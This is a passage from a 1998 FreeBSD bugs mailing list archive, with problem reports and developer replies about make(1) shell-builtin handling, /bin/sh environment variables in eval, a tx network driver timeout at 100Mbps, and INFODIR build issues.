<199805101649.CAA14725@godzilla.zeta.org.au>; from Bruce Evans on Mon, May 11, 1998 at 02:49:33AM +1000 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1998-05-11 02:49:33 +1000, Bruce Evans wrote: > >Synopsis: make(1): shell meta-character optimization incomplete > >The bug applies to all ash(1) builtin commands: > > This shows why it isn't really a bug. `make' can't be expected > to know about all shell builtins, especially nonstandard ones. > The bug is that `make' doesn't have a POSIX-conformant mode in > which it always execs the shell. No one would use this mode :-). gmake(1) handle some common builtin commands, e.g. exit and umask. wosch@freefall <11:29:00> [~/tmp/5] 543 bash$ cat Makefile all: exit 0 wosch@freefall <11:29:02> [~/tmp/5] 544 bash$ make exit 0 exit: not found *** Error code 1 Stop. wosch@freefall <11:29:06> [~/tmp/5] 545 bash$ gmake exit 0 wosch@freefall <11:29:08> [~/tmp/5] 546 -- Wolfram Schneider http://www.freebsd.org/~wosch/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 12:53:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA02400 for freebsd-bugs-outgoing; Sun, 10 May 1998 12:53:23 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA02391 for ; Sun, 10 May 1998 12:53:21 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA22946; Sun, 10 May 1998 12:50:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA02340; Sun, 10 May 1998 12:52:46 -0700 (PDT) (envelope-from nobody) Message-Id: <199805101952.MAA02340@hub.freebsd.org> Date: Sun, 10 May 1998 12:52:46 -0700 (PDT) From: iverok@sum.uio.no To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/6577: /bin/sh environment variables not set in simple commands Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6577 >Category: bin >Synopsis: /bin/sh environment variables not set in simple commands >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun May 10 12:50:00 PDT 1998 >Last-Modified: >Originator: Iver Odin Kvello >Organization: >Release: 2.2.5-RELEASE >Environment: FreeBSD faust.uio.no 2.2-RELEASE FreeBSD 2.2-RELEASE #0: Mon March 24 20:37:01 CET 1997 root@pcsum47.uio.no:/usr/src/sys/compile/BALLE i386 >Description: Gambit-C version 3 depends upon FOO=bar eval echo \$FOO outputting "bar" to build. It outputs nothing. This is contrary to the documented behaviour (for Simple Commands) and to observed behaviour on AiX, Digital Unix and on bash. >How-To-Repeat: #!/bin/sh FOO=ok eval echo \$FOO >Fix: substitute FOO=bar ; eval expr \$FOO or use bash. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 13:01:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA03452 for freebsd-bugs-outgoing; Sun, 10 May 1998 13:01:45 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03344; Sun, 10 May 1998 13:00:40 -0700 (PDT) (envelope-from phk@FreeBSD.org) From: Poul-Henning Kamp Received: (from phk@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA23051; Sun, 10 May 1998 12:57:25 -0700 (PDT) Date: Sun, 10 May 1998 12:57:25 -0700 (PDT) Message-Id: <199805101957.MAA23051@freefall.freebsd.org> To: wosch@DE.FreeBSD.ORG, phk@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6550 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: make(1): shell meta-character optimization incomplete State-Changed-From-To: open-closed State-Changed-By: phk State-Changed-When: Sun May 10 12:56:00 PDT 1998 State-Changed-Why: what made you think that it should support all of that stuff ? make only supports some of the primitives to gain some speed, it has never promised to replace your shell entirely. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 13:07:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA03867 for freebsd-bugs-outgoing; Sun, 10 May 1998 13:07:07 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03857; Sun, 10 May 1998 13:06:31 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.5) with ESMTP id WAA12272; Sun, 10 May 1998 22:05:36 +0200 (CEST) To: Wolfram Schneider cc: Bruce Evans , freebsd-bugs@FreeBSD.ORG, wosch@FreeBSD.ORG, freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/6550 In-reply-to: Your message of "Sun, 10 May 1998 20:44:52 +0200." <19980510204452.35461@panke.de> Date: Sun, 10 May 1998 22:05:36 +0200 Message-ID: <12270.894830736@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19980510204452.35461@panke.de>, Wolfram Schneider writes: >On 1998-05-11 02:49:33 +1000, Bruce Evans wrote: >> >Synopsis: make(1): shell meta-character optimization incomplete >> >The bug applies to all ash(1) builtin commands: >> >> This shows why it isn't really a bug. `make' can't be expected >> to know about all shell builtins, especially nonstandard ones. >> The bug is that `make' doesn't have a POSIX-conformant mode in >> which it always execs the shell. No one would use this mode :-). > >gmake(1) handle some common builtin commands, e.g. exit and umask. > Then use gmake. I've closed the PR again. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "ttyv0" -- What UNIX calls a $20K state-of-the-art, 3D, hi-res color terminal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 13:13:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA04816 for freebsd-bugs-outgoing; Sun, 10 May 1998 13:13:24 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA04804 for ; Sun, 10 May 1998 13:13:18 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id NAA23167; Sun, 10 May 1998 13:10:03 -0700 (PDT) Date: Sun, 10 May 1998 13:10:03 -0700 (PDT) Message-Id: <199805102010.NAA23167@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Poul-Henning Kamp Subject: Re: bin/6550 Reply-To: Poul-Henning Kamp Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6550; it has been noted by GNATS. From: Poul-Henning Kamp To: Wolfram Schneider Cc: Bruce Evans , freebsd-bugs@FreeBSD.ORG, wosch@FreeBSD.ORG, freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/6550 Date: Sun, 10 May 1998 22:05:36 +0200 In message <19980510204452.35461@panke.de>, Wolfram Schneider writes: >On 1998-05-11 02:49:33 +1000, Bruce Evans wrote: >> >Synopsis: make(1): shell meta-character optimization incomplete >> >The bug applies to all ash(1) builtin commands: >> >> This shows why it isn't really a bug. `make' can't be expected >> to know about all shell builtins, especially nonstandard ones. >> The bug is that `make' doesn't have a POSIX-conformant mode in >> which it always execs the shell. No one would use this mode :-). > >gmake(1) handle some common builtin commands, e.g. exit and umask. > Then use gmake. I've closed the PR again. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "ttyv0" -- What UNIX calls a $20K state-of-the-art, 3D, hi-res color terminal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 16:53:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA29426 for freebsd-bugs-outgoing; Sun, 10 May 1998 16:53:18 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA29414 for ; Sun, 10 May 1998 16:53:17 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id QAA25129; Sun, 10 May 1998 16:50:00 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA29223; Sun, 10 May 1998 16:50:49 -0700 (PDT) (envelope-from nobody) Message-Id: <199805102350.QAA29223@hub.freebsd.org> Date: Sun, 10 May 1998 16:50:49 -0700 (PDT) From: andrew@iaccess.com.au To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: i386/6578: Problem with tx driver on 100Mbps Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6578 >Category: i386 >Synopsis: Problem with tx driver on 100Mbps >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun May 10 16:50:00 PDT 1998 >Last-Modified: >Originator: Andrew Specht >Organization: Internet Access Australia >Release: freebsd3.0-current >Environment: FreeBSD aphrodite.iaccess.com.au 3.0-CURRENT FreeBSD 3.0-CURRENT #0: Thu May 7 10:16:06 GMT 1998 root@aphrodite.iaccess.com.au:/usr/home/andrew/CVSUP/FILES/src/sys/compile/APHRODITE i386 >Description: I connected my SMC9432TX ethernet card up to the 100Mbps port and i got these messages just before the card failed. However the card works fine on 10Mbps. May 7 00:42:45 aphrodite /kernel: tx0: device timeout 16 packets May 7 00:42:45 aphrodite /kernel: tx0: can't stop TX DMA May 7 00:42:53 aphrodite /kernel: tx0: device timeout 16 packets May 7 00:42:53 aphrodite /kernel: tx0: can't stop TX DMA Straight after boot upo this message will appear always: tx0: device timeout 1 packets tx0: can't stop TX DMA However it will work fine for 1 day or so until it fails. I must state that i am running a 14 Gig squid cache on a Pentium II 233Mhz with 256 Meg of Ram. Noone on the mailing lists have had this problem and i think this might be a bug in the tx driver. Regards Andrew Specht System Administrator Internet Access Australia andrew@iaccess.com.au >How-To-Repeat: Running an ethernet card that uses the the tx driver on 100Mbps will repeat the problem most likely. >Fix: unknown >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 16:57:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA00340 for freebsd-bugs-outgoing; Sun, 10 May 1998 16:57:35 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: (from steve@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA00317; Sun, 10 May 1998 16:57:11 -0700 (PDT) (envelope-from steve) Date: Sun, 10 May 1998 16:57:11 -0700 (PDT) From: Steve Price Message-Id: <199805102357.QAA00317@hub.freebsd.org> To: yoshiaki@kt.rim.or.jp, steve, freebsd-bugs Subject: Re: kern/6348 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Use Yamaha YMF-719 on Luigi's sound driver. State-Changed-From-To: open-closed State-Changed-By: steve State-Changed-When: Sun May 10 16:56:56 PDT 1998 State-Changed-Why: Patch committed, thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 17:30:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA04838 for freebsd-bugs-outgoing; Sun, 10 May 1998 17:30:08 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA04756; Sun, 10 May 1998 17:29:59 -0700 (PDT) (envelope-from jkh@FreeBSD.org) From: "Jordan K. Hubbard" Received: (from jkh@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id RAA25453; Sun, 10 May 1998 17:26:42 -0700 (PDT) Date: Sun, 10 May 1998 17:26:42 -0700 (PDT) Message-Id: <199805110026.RAA25453@freefall.freebsd.org> To: jkh@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, jkh@FreeBSD.ORG Subject: Re: conf/6559 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Upgrade processing clobber's ~root/{.cshrc,.login} Responsible-Changed-From-To: freebsd-bugs->jkh Responsible-Changed-By: jkh Responsible-Changed-When: Sun May 10 17:26:31 PDT 1998 Responsible-Changed-Why: this one's mine. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 17:58:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA08178 for freebsd-bugs-outgoing; Sun, 10 May 1998 17:58:02 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA08047; Sun, 10 May 1998 17:55:05 -0700 (PDT) (envelope-from jkh@FreeBSD.org) From: "Jordan K. Hubbard" Received: (from jkh@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id RAA25715; Sun, 10 May 1998 17:51:49 -0700 (PDT) Date: Sun, 10 May 1998 17:51:49 -0700 (PDT) Message-Id: <199805110051.RAA25715@freefall.freebsd.org> To: marquard@zilker.net, jkh@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: conf/6576 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: 2.2.6 boot floppy can't mount install CD on matcd0 State-Changed-From-To: open-closed State-Changed-By: jkh State-Changed-When: Sun May 10 17:49:39 PDT 1998 State-Changed-Why: Supplied fix applied, thanks! I wish everyone took as much time and trouble with their PRs as this one since it not only gave me the fix to this problem (I was unaware that certain CDROM drivers special-cased the `c' device this way since IDE and SCSI CDROMs do not) but also to the reported scd and mcd driver problems. Much appreciated. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 20:23:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA26740 for freebsd-bugs-outgoing; Sun, 10 May 1998 20:23:21 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA26732 for ; Sun, 10 May 1998 20:23:18 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id UAA26650; Sun, 10 May 1998 20:20:01 -0700 (PDT) Received: from trisal20.bowneglobal.co.jp (trisal20.bowneglobal.co.jp [202.32.84.246]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA26167 for ; Sun, 10 May 1998 20:18:05 -0700 (PDT) (envelope-from kakura@trisal20.bowneglobal.co.jp) Received: (from root@localhost) by trisal20.bowneglobal.co.jp (8.8.8/8.8.8) id MAA06750; Mon, 11 May 1998 12:13:11 +0900 (JST) (envelope-from kakura) Message-Id: <199805110313.MAA06750@trisal20.bowneglobal.co.jp> Date: Mon, 11 May 1998 12:13:11 +0900 (JST) From: root@trisal20.bowneglobal.co.jp Reply-To: root@trisal20.bowneglobal.co.jp To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: misc/6579: bug01 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6579 >Category: misc >Synopsis: Crash after clickiing OK >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun May 10 20:20:01 PDT 1998 >Last-Modified: >Originator: kakura >Organization: BGSJ >Release: i386 >Environment: WindowsNT4.0J >Description: Blue screen appears after clicking OK >How-To-Repeat: Click any OK button >Fix: No idea... >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 20:55:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA02479 for freebsd-bugs-outgoing; Sun, 10 May 1998 20:55:47 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: (from steve@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA02456; Sun, 10 May 1998 20:55:23 -0700 (PDT) (envelope-from steve) Date: Sun, 10 May 1998 20:55:23 -0700 (PDT) From: Steve Price Message-Id: <199805110355.UAA02456@hub.freebsd.org> To: root@trisal20.bowneglobal.co.jp, steve, freebsd-bugs Subject: Re: misc/6579 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Crash after clickiing OK State-Changed-From-To: open-closed State-Changed-By: steve State-Changed-When: Sun May 10 20:53:44 PDT 1998 State-Changed-Why: Sorry we can't fix any problems with NT*. Even if we could I don't know that we would. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun May 10 22:13:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA12524 for freebsd-bugs-outgoing; Sun, 10 May 1998 22:13:17 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA12519 for ; Sun, 10 May 1998 22:13:13 -0700 (PDT) (envelope-from andre.albsmeier@mchp.siemens.de) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.8/8.8.8) with ESMTP id HAA03000 for ; Mon, 11 May 1998 07:12:48 +0200 (MDT) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.8/8.8.5) with ESMTP id HAA20783 for ; Mon, 11 May 1998 07:12:50 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id HAA09090 for ; Mon, 11 May 1998 07:12:50 +0200 (CEST) From: Andre Albsmeier Message-Id: <199805110512.HAA28277@internal> Subject: Re: bin/6138 In-Reply-To: <19980510182411.18144@panke.de> from Wolfram Schneider at "May 10, 98 06:24:11 pm" To: wosch@cs.tu-berlin.de (Wolfram Schneider) Date: Mon, 11 May 1998 07:12:44 +0200 (CEST) Cc: freebsd-bugs@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > On 1998-05-10 15:58:40 +0200, Andre Albsmeier wrote: > > > Synopsis: error while building 2.2.6 > > > > > > State-Changed-From-To: open-closed > > > State-Changed-By: wosch > > > State-Changed-When: Sat May 9 15:15:25 PDT 1998 > > > State-Changed-Why: > > > A workaround was submitted in revision: 1.6 src/share/info/Makefile > > > > > > > Unfortunately, it doesn't help when doing a "make world". If I create > > the directory by hand, it will be erased by "make world" when cleaning > > the temporary build directory. IMHO, the only way to solve this is > > either by > > > > 1. creating the directory > > > > or > > > > 2. ignoring INFODIR at least during the temporary build process. > > 3. change the mtree database (src/etc/mtree/BSD.usr.dist). Make world > will then create the info directory for you. Well, that can't be the sense of all that: We have got an ENV variable INFODIR to be able to easily decide were the files go. But, we have to poke around in a system file in order to create the appropriate directory only for the temporary build environment. What are the objections to point 2.? I think it is rather unimportant where the INFO Files reside in the temporary build environment. Giving a warning later when the stuff is installed into its final place, is IMHO OK if the directory doesn't exist. -Andre BTW: My INFODIR is (has to be) /server/info. Were will I put it? Into src/etc/mtree/BSD.root.dist? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 00:52:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA29502 for freebsd-bugs-outgoing; Mon, 11 May 1998 00:52:47 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from godzilla.zeta.org.au (mothra.kralizec.net.au [203.15.68.22] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA29451 for ; Mon, 11 May 1998 00:51:53 -0700 (PDT) (envelope-from bde@godzilla.zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.8.7) id RAA22953; Mon, 11 May 1998 17:05:30 +1000 Date: Mon, 11 May 1998 17:05:30 +1000 From: Bruce Evans Message-Id: <199805110705.RAA22953@godzilla.zeta.org.au> To: andre.albsmeier@mchp.siemens.de, wosch@cs.tu-berlin.de Subject: Re: bin/6138 Cc: freebsd-bugs@FreeBSD.ORG Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >> > 2. ignoring INFODIR at least during the temporary build process. >> >> 3. change the mtree database (src/etc/mtree/BSD.usr.dist). Make world >> will then create the info directory for you. > >Well, that can't be the sense of all that: We have got an ENV variable >INFODIR to be able to easily decide were the files go. But, we have to poke >around in a system file in order to create the appropriate directory >only for the temporary build environment. > >What are the objections to point 2.? I think it is rather unimportant >where the INFO Files reside in the temporary build environment. Giving >a warning later when the stuff is installed into its final place, is >IMHO OK if the directory doesn't exist. There are no info files in the temporary build environment. It was a bug to install the templates. Fixed in -current. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 01:23:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA03029 for freebsd-bugs-outgoing; Mon, 11 May 1998 01:23:51 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA03017; Mon, 11 May 1998 01:23:19 -0700 (PDT) (envelope-from wosch@cs.tu-berlin.de) Received: from panke.panke.de (anonymous215.ppp.cs.tu-berlin.de [130.149.17.215]) by mail.cs.tu-berlin.de (8.8.8/8.8.8) with ESMTP id HAA01300; Mon, 11 May 1998 07:06:23 +0200 (MET DST) Received: (from wosch@localhost) by panke.panke.de (8.8.5/8.8.8) id WAA02365; Sun, 10 May 1998 22:32:48 +0200 (MET DST) (envelope-from wosch) Message-ID: <19980510223247.09270@panke.de> Date: Sun, 10 May 1998 22:32:47 +0200 From: Wolfram Schneider To: Poul-Henning Kamp Cc: wosch@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6550 References: <199805101957.MAA23051@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 In-Reply-To: <199805101957.MAA23051@freefall.freebsd.org>; from Poul-Henning Kamp on Sun, May 10, 1998 at 12:57:25PM -0700 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1998-05-10 12:57:25 -0700, Poul-Henning Kamp wrote: > Synopsis: make(1): shell meta-character optimization incomplete > > State-Changed-From-To: open-closed *grumble* Our make is broken, period! Why did you closed the PR? Please fix the bugs or reopen the PR again! > State-Changed-By: phk > State-Changed-When: Sun May 10 12:56:00 PDT 1998 > State-Changed-Why: > what made you think that it should support all of that stuff ? Not all, but some like gmake(1) does. > make only supports some of the primitives to gain some speed, > it has never promised to replace your shell entirely. The meta character optimization is an undocumented (mis-)feature. -- Wolfram Schneider http://www.freebsd.org/~wosch/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 01:37:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA04632 for freebsd-bugs-outgoing; Mon, 11 May 1998 01:37:30 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA04616; Mon, 11 May 1998 01:37:19 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.5) with ESMTP id KAA14165; Mon, 11 May 1998 10:36:33 +0200 (CEST) To: Wolfram Schneider cc: wosch@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/6550 In-reply-to: Your message of "Sun, 10 May 1998 22:32:47 +0200." <19980510223247.09270@panke.de> Date: Mon, 11 May 1998 10:36:33 +0200 Message-ID: <14163.894875793@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19980510223247.09270@panke.de>, Wolfram Schneider writes: >On 1998-05-10 12:57:25 -0700, Poul-Henning Kamp wrote: >> Synopsis: make(1): shell meta-character optimization incomplete >> >> State-Changed-From-To: open-closed > >*grumble* > >Our make is broken, period! Why did you closed the PR? >Please fix the bugs or reopen the PR again! Our make is not broken (at least in this particular respect.) There is not really any reason (apart from speed) for implementing the shell commands, consequently it cannot be said to be broken because it doesn't. If you want it to support more builtins, something which I am not as such against, while on the other hand I don't see any reason to do it, the very least you can do is to submit a patch. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "ttyv0" -- What UNIX calls a $20K state-of-the-art, 3D, hi-res color terminal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 01:43:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA05533 for freebsd-bugs-outgoing; Mon, 11 May 1998 01:43:31 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA05526 for ; Mon, 11 May 1998 01:43:26 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA28070; Mon, 11 May 1998 01:40:07 -0700 (PDT) Date: Mon, 11 May 1998 01:40:07 -0700 (PDT) Message-Id: <199805110840.BAA28070@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Poul-Henning Kamp Subject: Re: bin/6550 Reply-To: Poul-Henning Kamp Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/6550; it has been noted by GNATS. From: Poul-Henning Kamp To: Wolfram Schneider Cc: wosch@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG, freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/6550 Date: Mon, 11 May 1998 10:36:33 +0200 In message <19980510223247.09270@panke.de>, Wolfram Schneider writes: >On 1998-05-10 12:57:25 -0700, Poul-Henning Kamp wrote: >> Synopsis: make(1): shell meta-character optimization incomplete >> >> State-Changed-From-To: open-closed > >*grumble* > >Our make is broken, period! Why did you closed the PR? >Please fix the bugs or reopen the PR again! Our make is not broken (at least in this particular respect.) There is not really any reason (apart from speed) for implementing the shell commands, consequently it cannot be said to be broken because it doesn't. If you want it to support more builtins, something which I am not as such against, while on the other hand I don't see any reason to do it, the very least you can do is to submit a patch. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." "ttyv0" -- What UNIX calls a $20K state-of-the-art, 3D, hi-res color terminal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon May 11 